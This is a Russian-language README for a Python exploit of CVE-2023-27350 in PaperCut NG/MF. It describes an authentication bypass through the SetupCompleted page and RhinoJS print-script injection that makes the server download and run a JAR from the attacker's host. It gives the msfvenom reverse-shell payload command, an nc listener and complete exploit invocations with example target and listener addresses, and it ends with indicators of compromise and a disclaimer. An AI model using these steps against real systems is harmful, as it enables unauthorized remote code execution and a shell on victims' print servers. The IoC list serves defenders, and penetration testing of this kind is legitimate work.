CVE-2023-27350 — обход аутентификации и RCE в PaperCut NG/MF

Автономный эксплойт на Python для критической уязвимости обхода аутентификации и удалённого выполнения кода в PaperCut NG/MF. CVSS 9.8.

Описание

CVE-2023-27350 затрагивает PaperCut NG и MF в версиях до 20.1.7, 21.2.11 и 22.0.9. Уязвимость позволяет неаутентифицированному злоумышленнику обратиться к конечной точке /app?service=page/SetupCompleted — странице настройки, предназначенной для доступа только во время первоначальной установки, — и получить действительную административную сессию без каких-либо учётных данных.

Имея административный доступ, злоумышленник может включить механизм печатных сценариев PaperCut и внедрить произвольный код, выполняемый JVM сервера, что приводит к полному RCE в контексте сервисного пользователя.

Затронутые версии

Версии 18.x и более ранние не получили официального исправления.

Референсные реализации

Данный эксплойт разработан на основе анализа двух публичных реализаций:

1. horizon3ai/CVE-2023-27350 (Python)

• Репозиторий: https://github.com/horizon3ai/CVE-2023-27350
• Подход: использует Runtime.exec() с обычной строкой для выполнения команд
• Ограничения: Runtime.exec(String) не обрабатывает метасимволы оболочки (>&, |, 0>&1), что делает полезные нагрузки reverse shell неэффективными. Скрипт также жёстко задаёт идентификатор принтера (l1001) и проверяет только англоязычные строки успеха, из-за чего не срабатывает на экземплярах с другим языком
• Неверное предположение о движке: не учитывает, что PaperCut использует RhinoJS (а не BeanShell), что приводит к синтаксическим ошибкам в некоторых Java-полезных нагрузках

2. rapid7/metasploit-framework — обход аутентификации PaperCutNG

• Модуль: exploit/multi/http/papercut_ng_rce
• Подход: загружает JAR-файл Metasploit в JVM через URLClassLoader, исключая зависимость от оболочки
• Ограничения: требует полный Metasploit Framework и генерирует полезную нагрузку Java/Meterpreter; его сложно адаптировать для автономного использования с nc

Требования

Python 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)

pip install requests

Использование

1. Сгенерируйте JAR-полезную нагрузку

msfvenom -p java/shell_reverse_tcp \
  LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
  -f jar -o payload.jar

2. Запустите прослушиватель

nc -lvnp <SHELL_PORT>

3. Запустите эксплойт

python exploit.py \
  -u http://<TARGET>:9191 \
  -j payload.jar \
  -lh <YOUR_IP> \
  -lp <HTTP_PORT> \
  -rp <SHELL_PORT>

Пример:

python exploit.py \
  -u http://192.168.1.100:9191 \
  -j payload.jar \
  -lh 192.168.1.10 \
  -lp 9090 \
  -rp 4444

Параметры

Как это работает

1. Auth bypass via /app?service=page/SetupCompleted
        ↓
2. Obtain admin JSESSIONID without credentials
        ↓
3. Select [Template Printer] (l1001)
        ↓
4. Inject RhinoJS script into the print script field
        ↓
5. Script creates a URLClassLoader pointing to our HTTP server
        ↓
6. PaperCut JVM downloads and executes payload.jar
        ↓
7. Reverse shell

Индикаторы компрометации (IoC)

• Обращение к /app?service=page/SetupCompleted без предварительной сессии
• Изменение настроек print-and-device.script.enabled и print.script.sandboxed (версии >= 19)
• Исходящее HTTP-соединение с сервера PaperCut на внешний IP-адрес
• Создание экземпляра URLClassLoader с внешним URL в логах JVM

Отказ от ответственности

Данный эксплойт предоставляется только в образовательных целях и для авторизованного использования (тестирование на проникновение, CTF, лабораторные среды). Несанкционированное использование против систем без явного разрешения незаконно. Автор не несёт ответственности за любое неправомерное использование.